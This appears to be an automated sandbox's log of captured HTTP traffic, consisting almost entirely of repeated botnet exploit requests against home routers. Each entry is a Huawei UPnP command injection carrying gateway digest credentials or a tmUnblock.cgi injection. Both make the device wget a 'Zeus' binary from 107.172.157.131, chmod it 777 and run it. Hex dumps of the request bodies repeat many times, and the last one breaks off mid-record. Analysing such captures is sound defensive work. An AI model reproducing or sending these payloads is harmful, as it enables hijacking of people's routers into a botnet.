Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 